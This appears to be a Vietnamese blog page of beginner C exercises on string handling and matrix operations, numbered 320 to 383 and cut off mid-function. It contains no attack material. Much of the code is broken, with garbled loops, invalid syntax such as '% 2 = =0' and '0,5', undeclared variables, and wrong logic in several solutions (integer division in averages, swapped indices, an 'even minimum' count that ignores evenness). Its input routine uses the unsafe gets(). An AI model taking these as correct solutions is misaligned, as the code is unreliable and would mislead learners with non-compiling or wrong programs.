#include
#include
#include
#include
void nhap(char str[])
{
printf("Nhap mot chuoi: \n\t");
gets(str);
}
void xuat(char str[])
{
printf("\nChuoi: \n\t");
puts(str);
}
void chuanhoa(char *str)
{
char *p;
while(str[0]==' ')
strcpy(str,str+1);
while(str[strlen(str)-1]==' ')
str[strlen(str)-1]='';
do
{
p=strstr(str," ");
if(p!=NULL) strcpy(p,p+1);
}while(p!=NULL);
strlwr(str);
str[0]=toupper(str[0]);
for(int i=1;i<strlen(str);i++)
if(str[i]!=0 && str[i-1]==' ')
str[i]=toupper(str[i]);
printf("\nChuoi sau khi chuan hoa:\n\t");
puts(str);
}
int demtieng(char *str)
{
int d=1,i;
for(i=0;i<strlen(str);i++)
if(str[i]==' ')
d++;
return d;
}
int demslxhktu(char *p,char c)
{
int d=0;
for(int j=0;j<strlen(p);j++)
if(p[j]==c)
d++;
return d;
}
void dem(char *p)
{
int i,j;
for(i=0;i=0;j--)
if(p[j]==p[i]) break;
if(j<0)
{
int k=demslxhktu(p,p[i]);
printf("\n%c : %d",p[i],k);
}
}
}
void main()
{
char str[100];
nhap(str);
xuat(str);
chuanhoa(str);
printf("Trong chuoi co %d tieng.",demtieng(str));
dem(str);
getch();
}
Friday, 26 August 2011
THDC
MA TRẬN Hàm nhập & xuất ma trận các số nguyên void nhap(int a[][100],int &m,int &n) { printf("Nhap m:"); scanf("%d",&m); printf("Nhap n:"); scanf("%d",&n); for(int i=0;i<m;i++) for(int j=0;j<n;j++) { printf("Nhap a[%d][%d]:",i,j); scanf("%d",&a[i],[j]); } } void xuat(int a[][100],int m,int n) { for(int i=0;i<m;i++) { for(int j=0;j<n;j++) printf("%4d",a[i][j]); printf("\n"); } }
Hàm nhập & xuất ma trận các số thực void nhap(float a[][100],int &m,int &n) { printf("Nhap m :"); scanf("%d",&m); printf("Nhap n :"); scanf("%d",&n); for(int i=0;i<m;i++) for(int j=0;j<n;j++) { printf("Nhap a[%d][%d]:",i,j); scanf("%f",&a[i],[j]); } } void xuat(float a[][100],int m,int n) { for(int i=0;i<m;i++) { for(int j=0;j<n;j++) printf("%8.3f",a[i][j]); printf("\n "); } }
Hàm nhập & xuất ma trận các số nguyên dài
void nhap(long a[][100],int &m,int &n) { printf("Nhap m :"); scanf("%d",&m); printf("Nhap n:"); scanf("%d",&n); for(int i=0;i<m;i++) for(int j=0;j<n;j++) { printf("Nhap a[%d][%d]",i,j); scanf("%ld",&a[i][j]); } } void xuat(long a[][100],int m,int n) { for(int i=0;i<m;i++) { for(int j=0;j<n;j++) printf("%ld",a[i][j]); printf("\n "); } }
Hàm nhập & xuất ma trận các số thực dài void nhap(double a[][100],int &m,int &n); { printf("Nhap m :"); scanf("%d",&m); prinf("Nhap n :"); scanf("%d",&n); for(int i=0;i<m;i++) for(int j=0;j<n;j++) { printf("Nhap a[%d][%d]",i,j); scanf("%lf",&a[i][j]); } } void xuat(double a[][100],int m,int n) { for(int i=0;i<m;i++) { for(int j=0;j<n;j++) printf("%lf",a[i][j]); printf("\n "); } }
Chuyên đề về ma trận thường Kĩ thuật tính toán 320 Tổng các số dương trong ma trận thực int TongSoDuong(int a[][100], int n, int m)
{
int s=0;
for (int i=0; i<n; i++)
for (int j=0; j<m; j++)
if (a[i][j]>0)
s+=a[i][j];
return s;
}
321 Tích các số lẻ trong ma trận nguyên int TichGiaTriLe(int a[][100], int n, int m)
{
int t=1;
for (int i=0; i<n; i++)
for (int j=0; j<m; j++)
if (a[i][j]%2!=0)
t*=a[i][j];
return t;
}
322 Tổng giá trị trên 1 dòng ma trận thực int TongDongX(float *a, int m) //chuy?n a[x] , x là dòng mà b?n c?n tính t?ng
{
int S=0;
for (int i=0; i<m; i++)
S+=a[i];
return S;
} 323 Tích giá trị dương trên 1 cột ma trận thực float TichDuongCotY(float a[][100], int n, int m, int y) //y là s? c?t c?n tính
{
float T=1;
for (int i=0; i<n; i++)
if (a[i][y]>0)
T*=a[i][y];
return T;
} 324 Tổng giá trị dương trên 1 dòng ma trận thực int TongDuongDongX(float *a, int m)
//chuy?n a[x] , x là dòng mà b?n c?n tính t?ng
{
int S=0;
for (int i=0; i<m; i++)
{
if (a[i]>0)
S+=a[i];
}
return S;
} 325 Tích các chẵn trên 1 cột ma trận nguyên int TichChanCotY(int a[][100], int n, int m, int y) //y là s? c?t c?n tính
{
int T=1;
for (int i=0; i<n; i++)
if (a[i][y]%2 = =0)
T*=a[i][y];
return T;
} 326 Trung bình cộng các số dương ma trận thực float TBCongDuong(float a[][100], int n, int m)
{
int S=0;
int dem =0 ;
for (int i=0; i<n; i++)
{
for (int j=0; j<m; j++)
{
if (a[i][j]>0)
{
S+=a[i][j];
dem++;
}
}
}
return (float)(S/dem);
} 327 Tổng các giá trị nằm trên biên của ma trận int TongBien(int a[][100], int n, int m)
{
int S=0;
for (int i=0; i<m; i++)
{
S = S+ a[0][i] + a[n-1][i];
}
for (i=1; i<n-1; i++)
{
S = S+ a[i][0] + a[i][m-1];
}
return S;
} 328 Trung bình nhân các số dương ma trận thực float TBNhanDuong(float **a, int n, int m)
{
float T=1;
int dem =0 ;
for (int i=0; i<n; i++)
{
for (int j=0; j<m; j++)
{
if (a[i][j]>0)
{
T*=a[i][j];
dem++;
}
}
}
return pow(T,1.0/dem);
}
329 Biến đổi ma trận bằng cách thay các giá trị âm bằng giá trị tuyệt đối của nó void BienDoiMaTran(int a[][100], int n, int m)
{
for (int i=0; i<n; i++)
for (int j=0; j<m; j++)
a[i][j] = abs(a[i][j]);
} 330 Biến đổi ma trận thực bằng cách thay các giá trị bằng giá trị nguyên gần nó nhất float XuLy(float n)
{
float PhanNguyen = (int)(n);
float PhanLe = n - PhanNguyen;
if (PhanLe < 0,5)
{
return PhanNguyen;
}
return PhanNguyen+1;
}
void BienDoiMaTran(float a[][100], int dong, int cot)
{
for (int i=0;i<dong; i++)
{
for (int j=0; j<cot; j++)
{
a[i][j] = XuLy(a[i][j]);
}
}
}
331 Tổng các giá trị trên 1 dòng ma trận thực float TongDongX(int a[], int m) //chuy?n a[x] , x là dòng mà b?n c?n tính t?ng
{
float S=0;
for (int i=0; i<m; i++)
S+=a[i];
return S;
} 332 Tổng giá trị lẻ trên 1 cột ma trận nguyên int TongLeCotY(int a[][100], int n, int m, int y) //y là s? c?t c?n tính
{
int S=0;
for (int i=0; i<n; i++)
if (a[i][y]%2 ! =0)
S+=a[i][y];
return S;
} 333 Tổng các số hoàn thiện trong ma trân số nguyên int sohoanthien(int n)
{
int tong=0;
for (int i=1 ; i<n; i++)
if(n%i==0)
tong = tong + i;
if (tong == n)
return 1;
return 0;
}
int TongSoHoanThien(int a[][100],int n, int m)
{
int S=0;
for (int i=0;i<dong; i++)
for (int j=0; j<cot; j++)
if (SoHoanThien(a[i][j])==1)
S+=a[i][j];
return S;
} Kĩ thuật đếm 334 Viết hàm đếm số lượng số dương trong ma trận thực int DemDuong(float a[][100], int dong, int cot)
{
int dem=0;
for (int i=0;i<dong; i++)
for (int j=0; j<cot; j++)
if (a[i][j]>0)
dem++;
return dem;
}
335 Đếm số lượng số ng tố trong ma trận nguyên int SoNguyenTo(int n)
{
if (n<=1)
return 0;
for (int i=2; i<n; i++)
if (n%i==0)
return 0;
return 1;
}
int DemSoNguyenTo(int a[][100], int dong, int cot)
{
int dem=0;
for (int i=0;i<dong; i++)
for (int j=0; j<cot; j++)
if (SoNguyenTo(a[i][j])==1)
dem++;
return dem;
}
336 Đếm tần suất xuất hiện của 1 giá trị x trong ma trận thực int DemGiaTriX(float a[][100], int dong, int cot, float x)
{
int dem=0;
for (int i=0;i<dong; i++)
for (int j=0; j<cot; j++)
if (a[i][j]==x)
dem++;
return dem;
}
337 Đếm số chữ số trong ma trận số nguyên dương int DemTungSo(int n)
{
int dem = 1;
n = abs(n);
while (n>=10)
{
n= n/10;
dem++;
}
return dem;
}
int Dem(int a[][100], int dong, int cot)
{
int dem = 0;
for (int i=0;i<dong; i++)
{
for (int j=0; j<cot; j++)
{
dem += DemTungSo(a[i][j]);
}
}
return dem;
}
338 Đếm số lượng số dương trên 1 hàng ma trận thực int DemDuong(float a[][100], int cot, int HangCanTinh)
{
int dem=0;
for (int j=0; j<cot; j++)
if (a[HangCanTinh][j]>0)
dem++;
return dem;
}339 Đếm số lượng số hoàn thiện trên 1 hàng ma trận nguyên int SoHoanThien(int n)
{
if (n<=0)
return 0;
int s=0;
for (int i=1;i<n;i++)
if (n%i==0)
s+=i;
if (s==n)
return 1;
return 0;
}
int DemSoHoanThien(int a[][100], int cot, int HangCanTinh)
{
int dem=0;
for (int j=0; j<cot; j++)
if (SoHoanThien(a[HangCanTinh][j])==1)
dem++;
return dem;
}
340 Đếm số lượng âm trên 1 cột ma trận thực int DemSoDuong(float a[][100], int dong, int CotCanTinh)
{
int dem=0;
for (int i=0; i<dong; i++)
if (a[i][CotCanTinh]<0)
dem++;
return dem;
}
341 Đếm số lượng dương trên biên của ma trận thực int DemSoDuong(float a[][100], int dong, int Cot)
{
int dem=0;
for (int j=0; j<Cot; j++)
{
if (a[0][j]>0)
dem++;
if (a[dong-1][j]>0)
dem++;
}
for (int i=1; i<dong-1; i++)
{
if (a[i][0]>0)
dem++;
if (a[i][Cot-1]>0)
dem++;
}
return dem;
}
342 Đếm số lượng ptử cực đại ma trận thực. 1 ptử cực đại là khi nó lớn hơn các ptử xung quanh int CucDai(float a[][100],int dong,int cot, int i, int j)
{
int dx[8]={-1,-1,-1, 0, 0, 1, 1, 1};
int dy[8]={-1, 0, 1,-1, 1,-1, 0, 1};
for (int k=0; k<8; k++)
{
if ((0<=dx[k]+i && dx[k]+i<dong) && (0<=dy[k]+j && dy[k]+j < cot))
{
if (a[i][j]<a[dx[k]+i][dy[k]+j])
{
return 0;
}
}
}
return 1;
}
int DemCucDai(float a[][100], int dong, int cot)
{
int dem=0;
for (int i=0;i<dong; i++)
{
for (int j=0; j<cot; j++)
{
if (CucDai(a,dong,cot,i,j)==1)
{
printf("\na[%d][%d] = %d",i,j,a[i][j]);
dem++;
}
}
}
return dem;
} 343 Đếm số lượng ptử cực trị ma trận thực.1 ptử cực trị khi nó lớn hơn hoặc nhỏ hơn ptử xung quanh int CucTri(float a[][100],int dong,int cot, int i, int j)
{
int dx[8]={-1,-1,-1, 0, 0, 1, 1, 1};
int dy[8]={-1, 0, 1,-1, 1,-1, 0, 1};
for (int k=0; k<8; k++)
{
if ((0<=dx[k]+i && dx[k]+i<dong) && (0<=dy[k]+j && dy[k]+j < cot))
{
if (a[i][j]<a[dx[k]+i][dy[k]+j])
{
for (k=k+1; k<8; k++)
{
if ((0<=dx[k]+i && dx[k]+i<dong) && (0<=dy[k]+j && dy[k]+j < cot))
{
if (a[i][j]>a[dx[k]+i][dy[k]+j])
{
return 0;
}
}
}
}
else
{
for (k=k+1; k<8; k++)
{
if ((0<=dx[k]+i && dx[k]+i<dong) && (0<=dy[k]+j && dy[k]+j < cot))
{
if (a[i][j]<a[dx[k]+i][dy[k]+j])
{
return 0;
}
}
}
}
}
}
return 1;
}
int DemCucTri(float a[][100], int dong, int cot)
{
int dem=0;
for (int i=0;i<dong; i++)
{
for (int j=0; j<cot; j++)
{
if (CucTri(a,dong,cot,i,j)==1)
{
dem++;
}
}
}
return dem;
}
344 Đếm số lượng giá trị có trong ma trận thực. Lưu ý: nếu có k ptử (k>=1) trong ma trận bằng nhau thì ta chỉ tính là 1 int Xet(float a[][100], int dong,int cot, int i, int j)
{
int k, h; //k: dong, h: cot
for (h=j+1; h<cot; h++)
{
if (a[i][h] == a[i][j])
{
return 0;
}
}
for (k=i+1; k<dong; k++)
{
for (h=0; h<cot; h++)
{
if (a[k][h] == a[i][j])
{
return 0;
}
}
}
return 1;
}
int DemPtu(float a[][100],int dong,int cot)
{
int dem=0;
for (int i=0; i<dong; i++)
{
for (int j=0; j<cot; j++)
{
if (Xet(a,dong,cot,i,j)==1)
{
dem++;
}
}
}
return dem;
}
345 Tính tổng các ptử cực trị trong ma trận thực int CucTri(float a[][100],int dong,int cot, int i, int j)
{
int dx[8]={-1,-1,-1, 0, 0, 1, 1, 1};
int dy[8]={-1, 0, 1,-1, 1,-1, 0, 1};
for (int k=0; k<8; k++)
{
if ((0<=dx[k]+i && dx[k]+i<dong) && (0<=dy[k]+j && dy[k]+j < cot))
{
if (a[i][j]<a[dx[k]+i][dy[k]+j])
{
for (k=k+1; k<8; k++)
{
if ((0<=dx[k]+i && dx[k]+i<dong) && (0<=dy[k]+j && dy[k]+j < cot))
{
if (a[i][j]>a[dx[k]+i][dy[k]+j])
{
return 0;
}
}
}
}
else
{
for (k=k+1; k<8; k++)
{
if ((0<=dx[k]+i && dx[k]+i<dong) && (0<=dy[k]+j && dy[k]+j < cot))
{
if (a[i][j]<a[dx[k]+i][dy[k]+j])
{
return 0;
}
}
}
}
}
}
return 1;
}
int TongCucTri(float a[][100], int dong, int cot)
{
int S=0;
for (int i=0;i<dong; i++)
{
for (int j=0; j<cot; j++)
{
if (CucTri(a,dong,cot,i,j)==1)
{
S+=a[i][j];
}
}
}
return S;
}
346 Đếm số lượng giá trị “hoàng hậu” trên ma trận. 1 ptử hoàng hậu khi nó lớn nhất trên dòng, cột và 2 đường chéo int XetDuongCheo(int a[][100],int dong,int cot, int i, int j)
{
int k,h; //k : dong, h : cot
for (k=i,h=j; k>=0 && h<cot; k--, h++)
{
if (a[k][h] > a[i][j])
{
return 0;
}
}
for (k=i+1, h=j-1; k<dong && h>=0; k++, h--)
{
if (a[k][h] > a[i][j])
{
return 0;
}
}
for (k=i-1, h =j-1; k>=0 && h>=0; k--,h--)
{
if (a[k][h] > a[i][j])
{
return 0;
}
}
for (k=i+1, h=j+1; k<dong && h<cot; k++, h++)
{
if (a[k][h] > a[i][j])
{
return 0;
}
}
return 1;
}
int XetCotDong(int a[][100],int dong,int cot, int i, int j)
{
for (int k=0; k<dong; k++ )
{
if (a[k][j]>a[i][j])
{
return 0;
}
}
for (k=0; k<cot; k++ )
{
if (a[i][k]>a[i][j])
{
return 0;
}
}
return 1;
}
int XetTongQuat(int a[][100],int dong,int cot, int i, int j)
{
if (XetCotDong(a,dong,cot,i,j)==1)
if (XetDuongCheo(a,dong,cot,i,j)==1)
return 1;
else
return 0;
return 0;
}
int DemHoangHau(int a[][100], int dong,int cot)
{
int dem=0;
for (int i=0; i<dong; i++)
{
for (int j=0; j<cot; j++)
{
if (XetTongQuat(a,dong,cot,i,j) == 1) //la hoang hau
{
dem ++;
}
}
}
return dem;
}
347 Đếm số lượng “yên ngựa”.1 ptử yên ngựa khi nó lớn nhất trên dòng, nhỏ nhất trên cột int XetCotDong(int a[][100],int dong,int cot, int i, int j)
{
for (int k=0; k<dong; k++ )
{
if (a[k][j]<a[i][j])
{
return 0;
}
}
for (k=0; k<cot; k++ )
{
if (a[i][k]>a[i][j])
{
return 0;
}
}
return 1;
}
int DemYenNgua(int a[][100], int dong,int cot)
{
int dem=0;
for (int i=0; i<dong; i++)
{
for (int j=0; j<cot; j++)
{
if (XetCotDong(a,dong,cot,i,j) == 1)
{
dem ++;
}
}
}
return dem;
}
Kĩ thuật Đặt Cờ Hiệu 348 Ktra ma trận có số dương ko int Ktra(int a[][100],int dong,int cot)
{
int flag = 0;
for (int i=0; i<dong; i++)
{
for (int j=0;j<cot;j++)
{
if (a[i][j]>0)
{
flag=1;
break;
}
}
}
return flag;
}
349 Ktra ma trận có số hoàn thiện ko int sohoanthien(int n)
{
int tong=0;
for (int i=1 ; i<n; i++)
if(n%i==0)
tong = tong + i;
if (tong == n)
return 1;
return 0;
}
int Ktra(int a[][100],int dong,int cot)
{
int flag = 0;
for (int i=0; i<dong; i++)
{
for (int j=0;j<cot;j++)
{
if (sohoanthien(a[i][j])==1)
{
flag=1;
break;
}
}
}
return flag;
}
350 Ktra ma trận có số lẻ ko int Ktra(int a[][100],int dong,int cot)
{
int flag = 0;
for (int i=0; i<dong; i++)
{
for (int j=0;j<cot;j++)
{
if (a[i][j]%2!=0)
{
flag=1;
break;
}
}
}
return flag;
}
351 Ktra ma trận có toàn dương ko int Ktra(int a[][100],int dong,int cot)
{
int flag = 1;
for (int i=0; i<dong; i++)
{
for (int j=0;j<cot;j++)
{
if (a[i][j]<0)
{
flag=0;
break;
}
}
}
return flag;
}
352 Ktra 1 hàng ma trận có tăng dần hay ko int Ktra(int a[][100],int dong,int cot, int DongCanTinh)
{
int flag = 1; //coi nh? dòng t?ng
for (int j=0;j<cot-1;j++)
{
if (a[DongCanTinh][j]>a[DongCanTinh][j+1])
{
flag=0; //dòng ko t?ng
break;
}
}
return flag;
} 353 Ktra 1 cột ma trận có giảm dần ko int Ktra(int a[][100],int dong,int cot, int CotXet)
{
int flag = 1;
for (int i=0;i<dong-1;i++)
{
if (a[i][CotXet]<a[i+1][CotXet])
{
flag=0;
break;
}
}
return flag;
} 354 Ktra các gtrị trong ma trận có giảm dần theo cột và dòng hay ko int Ktra(int a[][100],int dong,int cot)
{
int flag =1;
int i,j;
//Ktra dong truoc
for (i=0;i<dong;i++)
{
for (j=0; j<cot-1;j++)
{
if (a[i][j]<a[i][j+1])
{
flag=0;
break;
}
}
}
//Ktra cot sau
for (j=0; j<cot;j++)
{
for (i=0; i<dong-1;i++)
{
if (a[j][i]<a[j][i+1])
{
flag=0;
break;
}
}
}
return flag;
}
355 Liệt kê các dòng toàn âm trong ma trận các số thực void LietKe(float a[][100],int dong,int cot)
{
int i,j,flag;
//Ktra dong truoc
for (i=0;i<dong;i++)
{
for (flag =1,j=0; j<cot;j++)
{
if (a[i][j]>0)
{
flag=0;
break;
}
}
if (flag == 1)
{
printf("\nDong a[%d] toan am : ",i);
for (j=0;j<cot;j++)
{
printf(" %.2f ",a[i][j]);
}
}
}
}
356 Liệt kê chỉ số các dòng chứa toàn giá trị chẵn void LietKe(int a[][100],int dong,int cot)
{
int i,j,flag;
//Ktra dong truoc
for (i=0;i<dong;i++)
{
for (flag =1,j=0; j<cot;j++)
{
if (a[i][j]%2!=0)
{
flag=0;
break;
}
}
if (flag == 1)
{
printf("\nDong a[%d] toan chan ",i);
}
}
}
357 Liệt kê dòng chứa số nguyên tố void LietKe(int a[][100],int dong,int cot)
{
int i,j,flag;
for (i=0;i<dong;i++)
{
for (flag =0,j=0; j<cot;j++)
{
if (SoNguyenTo(a[i][j])==1)
{
flag=1;
break;
}
}
if (flag == 1)
{
printf("\nDong a[%d] co chua so nguyen to ",i);
}
}
}
358 liệt kê các dòng có chứa giá trị chẵn void LietKe(int a[][100],int dong,int cot)
{
int i,j,flag;
for (i=0;i<dong;i++)
{
for (flag =0,j=0; j<cot;j++)
{
if (a[i][j]%2==0)
{
flag=1;
break;
}
}
if (flag == 1)
{
printf("\nDong a[%d] co chua chan ",i);
}
}
}
359 Liệt kê các dòng có chứa giá trị âm void LietKe(int a[][100],int dong,int cot)
{
int i,j,flag;
for (i=0;i<dong;i++)
{
for (flag =0,j=0; j<cot;j++)
{
if (a[i][j] <0)
{
flag=1;
break;
}
}
if (flag == 1)
{
printf("\nDong a[%d] co chua gia tri am ",i);
}
}
}
360 Liệt kê các cột chứa số chính phương void LietKe(int a[][100],int dong,int cot)
{
int i,j,flag;
for (j=0;j<cot;j++)
{
for (flag =0,i=0; i<dong;i++)
{
if (sochinhphuong(a[i][j])==1)
{
flag=1;
break;
}
}
if (flag == 1)
{
printf("\nCot a[%d] co chua so chinh phuong ",j);
}
}
}
361 Liệt kê các dòng thỏa: có giá trị âm, dương và 0 (ptử trung hòa) void LietKe(int a[][100],int dong,int cot)
{
int i,j;
for (i=0;i<dong;i++)
{
if (n>2)
{
int flag[3] = {0};
for (j=0; j<cot;j++)
{
if (a[i][j]<0)
{
flag[0] = 1;
}
else if (a[i][j]==0)
{
flag[1] = 1;
}
else if (a[i][j]>0)
{
flag[2] = 1;
}
if (flag[0]+flag[1]+flag[2]==3)
{
printf("\nDong a[%d] co ptu am, duong, 0",i);
break;
}
}
}
}
}
362 Liệt kê các dòng giảm dần void LietKe(int a[][100],int dong,int cot)
{
int i,j,flag;
for (i=0;i<dong;i++)
{
for (flag =1,j=0; j<cot-1;j++)
{
if (a[i][j]<a[i][j+1])
{
flag = 0;
break;
}
}
if (flag == 1)
{
printf("\nDong a[%d] giam",i);
}
}
}
363 Liệt kê các cột tăng dần void LietKe(int a[][100],int dong,int cot)
{
int i,j,flag;
for (j=0;j<cot;j++)
{
for (flag =1,i=0; i<dong-1;i++)
{
if (a[i][j]>a[i+1][j])
{
flag = 0;
break;
}
}
if (flag == 1)
{
printf("\nCot a[%d] tang",j);
}
}
} 364 Cho 2 ma trận A,B. Ktra ma trận A có là ma trận con của B ko? int KiemTra(int a[][100], int donga, int cota, int b[][100], int dongb, int cotb)
{
int i,j,k,h,flag=0,s,t;
for (i=0; i<donga; i++)
{
for (j=0;j<cota;j++)
{
if (donga-i>=dongb && cota-j>=cotb && a[i][j]==b[0][0])
{
for (flag=1,s=i,k=0;k<dongb;k++,s++)
{
for (h=0,t=j;h<cotb;h++,t++)
{
if (b[k][h]!=a[s][t])
{
flag =0;
break;
}
}
if (flag == 0)
break;
else
return 1;
}
}
}
}
return 0;
}
365 Đếm số lần xuất hiện của ma trận A trong ma trận B? int Dem(int a[][100], int donga, int cota, int b[][100], int dongb, int cotb)
{
int i,j,k,h,flag=1,s,t,dem=0;
for (i=0; i<donga; i++)
{
for (j=0;j<cota;j++)
{
if (donga-i>=dongb && cota-j>=cotb && a[i][j]==b[0][0])
{
for (s=i,k=0;k<dongb;k++,s++)
{
for (h=0,t=j;h<cotb;h++,t++)
{
if (b[k][h]!=a[s][t])
{
flag =0;
break;
}
}
if (flag == 0)
break;
}
if (flag == 1)
{
dem++;
}
}
}
}
return dem;
} Kĩ thuật đặt lính canh 366 Tìm số chẵn đầu tiên trong ma trận int GiaTriCanTim(int a[][100], int cot, int dong)
{
for (int i=0; i<dong; i++)
{
for(int j=0; j<cot; j++)
{
if (a[i][j]%2==0)
{
return a[i][j];
}
}
}
return -1;
}
367 Tìm max trong ma trận
int GiaTriCanTim(int a[][100], int cot, int dong)
{
int Max = a[0][0];
for (int i=0; i<dong; i++)
{
for(int j=0; j<cot; j++)
{
Max = (Max>a[i][j])?Max:a[i][j];
}
}
return Max;
}
368 Tìm giá trị lớn thứ 2 trong ma trận (max2) int GiaTriCanTim(int a[][100], int cot, int dong)
{
int Max=a[0][0];
for (int i=0; i<dong; i++)
{
for(int j=0; j<cot; j++)
{
Max = (Max>a[i][j])?Max:a[i][j];
}
}
int Max2 = a[0][0];
for (i=0; i<dong; i++)
{
for(int j=0; j<cot; j++)
{
if (Max>Max2 && a[i][j]!=Max && Max2<a[i][j])
{
Max2 = a[i][j];
}
}
}
return Max2;
}
369 Tìm số dương đầu tiên trong ma trận int GiaTriCanTim(int a[][100], int cot, int dong)
{
for (int i=0; i<dong; i++)
{
for(int j=0; j<cot; j++)
{
if (a[i][j]>0)
{
return a[i][j];
}
}
}
return -1;
}
370 Tìm giá trị âm lớn nhất trong ma trận int AmDauTien(int a[][100], int cot, int dong)
{
for (int i=0; i<dong; i++)
{
for (int j=0; j<cot; j++)
{
if (a[i][j]<0)
{
return a[i][j];
}
}
}
return 0;
}
int GiaTriCanTim(int a[][100], int cot, int dong)
{
int AmMax = AmDauTien(a,cot,dong);
if (AmMax == 0)
{
return 0;
}
for (int i=0; i<dong;i++)
{
for (int j=0; j<cot; j++)
{
if (a[i][j]<0)
{
AmMax = (AmMax>a[i][j])?AmMax:a[i][j];
}
}
}
return AmMax;
}
371 Liệt kê các dòng có chứa max int GiaTriMax(int a[][100], int cot, int dong)
{
int Max = a[0][0];
for (int i=0; i<dong; i++)
{
for(int j=0; j<cot; j++)
{
Max = (Max>a[i][j])?Max:a[i][j];
}
}
return Max;
}
void LietKe(int a[][100], int cot, int dong)
{
int Max = GiaTriMax(a,cot,dong);
for (int i=0; i<dong;i++)
{
for (int j=0; j<cot; j++)
{
if (a[i][j]==Max)
{
printf("\nDong [%d] chua max: ", i);
for (j=0; j<cot; j++)
{
printf("%4d", a[i][j]);
}
}
}
}
}
372 Tìm giá trị lớn nhất trên 1 dòng void LietKe(int a[][100], int cot, int dong)
{
for (int i=0; i<dong;i++)
{
int Max = a[i][0];
for (int j=0; j<cot; j++)
{
Max = (Max>a[i][j])?Max:a[i][j];
}
printf("\nDong %d: ",i) ;
printf("Gia tri max %d",Max);
}
}
373 Tìm giá trị nhỏ nhất trên 1 cột void LietKe(int a[][100], int cot, int dong)
{
for (int i=0; i<cot;i++)
{
int Min = a[0][i];
for (int j=0; j<dong; j++)
{
Min = (Min<a[j][i])?Min:a[j][i];
}
printf("\nCot %d: ",i) ;
printf("Gia tri min %d",Min);
}
}
374 Tìm số nguyên tố đầu tiên int SoNguyenTo(int a)
{
if (a<=1)
{
return 0;
}
for (int i=2; i<a; i++)
{
if (a%i==0)
{
return 0;
}
}
return 1;
}
int GiaTriCanTim(int a[][100], int cot, int dong)
{
for (int i=0; i<dong; i++)
{
for(int j=0; j<cot; j++)
{
if (SoNguyenTo(a[i][j])==1)
{
return a[i][j];
}
}
}
return -1;
}
375 Tìm số chẵn lớn nhất int ChanDauTien(int a[][100], int cot, int dong)
{
for (int i=0; i<dong; i++)
{
for (int j=0; j<cot; j++)
{
if (a[i][j]%2==0)
{
return a[i][j];
}
}
}
return -1;
}
int GiaTriCanTim(int a[][100], int cot, int dong)
{
int ChanMax = ChanDauTien(a,cot,dong);
if (ChanMax == -1)
{
return -1;
}
for (int i=0; i<dong;i++)
{
for (int j=0; j<cot; j++)
{
if (a[i][j]%2==0)
{
ChanMax = (ChanMax>a[i][j])?ChanMax:a[i][j];
}
}
}
return ChanMax;
}
376 Tìm số dương nhỏ nhất int DuongDauTien(int a[][100], int cot, int dong)
{
for (int i=0; i<dong; i++)
{
for (int j=0; j<cot; j++)
{
if (a[i][j]>0)
{
return a[i][j];
}
}
}
return -1;
}
int GiaTriCanTim(int a[][100], int cot, int dong)
{
int DuongMin = DuongDauTien(a,cot,dong);
if (DuongMin == -1)
{
return -1;
}
for (int i=0; i<dong;i++)
{
for (int j=0; j<cot; j++)
{
if (a[i][j]>0)
{
DuongMin = (DuongMin<a[i][j])?DuongMin:a[i][j];
}
}
}
return DuongMin;
}
377 Tìm số nguyên tố lớn nhất int SoNguyenTo(int a) { if (a<=1) { return 0; } for (int i=2; i<a; i++) { if (a%i==0) { return 0; } } return 1; } int SoNguyenToDauTien(int a[][100], int cot, int dong) { for (int i=0; i<dong; i++) { for (int j=0; j<cot; j++) { if (SoNguyenTo(a[i][j])==1) { return a[i][j]; } } } return -1; } int GiaTriCanTim(int a[][100], int cot, int dong) { int SoNguyenToMax = SoNguyenToDauTien(a,cot,dong); if (SoNguyenToMax == -1) { return -1; } for (int i=0; i<dong;i++) { for (int j=0; j<cot; j++)
{ if (SoNguyenTo(a[i][j])==1) { SoNguyenToMax = (SoNguyenToMax>a[i][j])?SoNguyenToMax:a[i][j]; } } } return SoNguyenToMax; }
378 Tìm 1 chữ số xuất hiện nhiều nhất void ChuSo(int n, int b[])
{
int DonVi;
n = abs(n);
do
{
DonVi = n%10;
b[DonVi]++;
n=n/10;
} while (n>0);
}
int GiaTriCanTim(int a[][100], int cot, int dong)
{
int b[10] = {0};
for (int i=0; i<dong;i++)
{
for (int j=0; j<cot; j++)
{
ChuSo(a[i][j],b);
}
}
int ChuSoNhieuNhat = 0;
for (i=1; i<10; i++)
{
if (b[ChuSoNhieuNhat] < b[i])
{
ChuSoNhieuNhat = i;
}
}
return ChuSoNhieuNhat;
}
379 Đếm số lượng min int GiaTriCanTim(int a[][100], int cot, int dong)
{
int dem = 0;
int Min = a[0][0];
for (int i=0; i<dong;i++)
{
for (int j=0; j<cot; j++)
{
if (Min == a[i][j])
{
dem ++ ;
}
else if (Min > a[i][j])
{
Min = a[i][j];
dem = 1;
}
}
}
return dem;
}
380 Đếm số lượng chẵn nhỏ nhất int GiaTriCanTim(int a[][100], int cot, int dong)
{
int dem = 0;
int Min = a[0][0];
for (int i=0; i<dong;i++)
{
for (int j=0; j<cot; j++)
{
if (Min == a[i][j])
{
dem ++ ;
}
else if (Min > a[i][j])
{
Min = a[i][j];
dem = 1;
}
}
}
return dem;
}
381 Tìm giá trị xuất hiện nhiều nhất int GiaTriCanTim(int a[][100], int cot, int dong)
{
int flag[100][100] = {0};
int GiaTri , Dem = 0,Dem1=0;
for (int i=0; i<dong; i++)
{
for(int j=0; j<cot; j++)
{
if (flag[i][j]==0)
{
for (int k=i; k<dong; k++)
{
for (int h=0; h<cot;h++)
{
if (flag[k][h]==0)
{
if (a[i][j] == a[k][h])
{
flag[k][h] = 1;
Dem++;
}
}
}
}
if (Dem > Dem1)
{
Dem1 = Dem;
GiaTri = a[i][j];
Dem = 0;
}
}
}
}
return GiaTri;
}
382 Tìm số chính phương lớn nhất int SoChinhPhuong(int n)
{
int a = sqrt (n);
if (a*a == n)
{
return 1;
}
return 0;
}
int SoChinhPhuongDauTien(int a[][100], int cot, int dong)
{
for (int i=0; i<dong; i++)
{
for (int j=0; j<cot; j++)
{
if (SoChinhPhuong(a[i][j])==1)
{
return a[i][j];
}
}
}
return -1;
}
int GiaTriCanTim(int a[][100], int cot, int dong)
{
int SoChinhPhuongMax = SoChinhPhuongDauTien(a,cot,dong);
if (SoChinhPhuongMax == -1)
{
return -1;
}
for (int i=0; i<dong;i++)
{
for (int j=0; j<cot; j++)
{
if (SoChinhPhuong(a[i][j])==1)
{
SoChinhPhuongMax = (SoChinhPhuongMax>a[i][j])?SoChinhPhuongMax:a[i][j];
}
}
}
return SoChinhPhuongMax;
}
383 Tìm số hòan thiện nhỏ nhất int sohoanthien(int n)
{
int tong=0;
for (int i=1 ; i<n; i++)
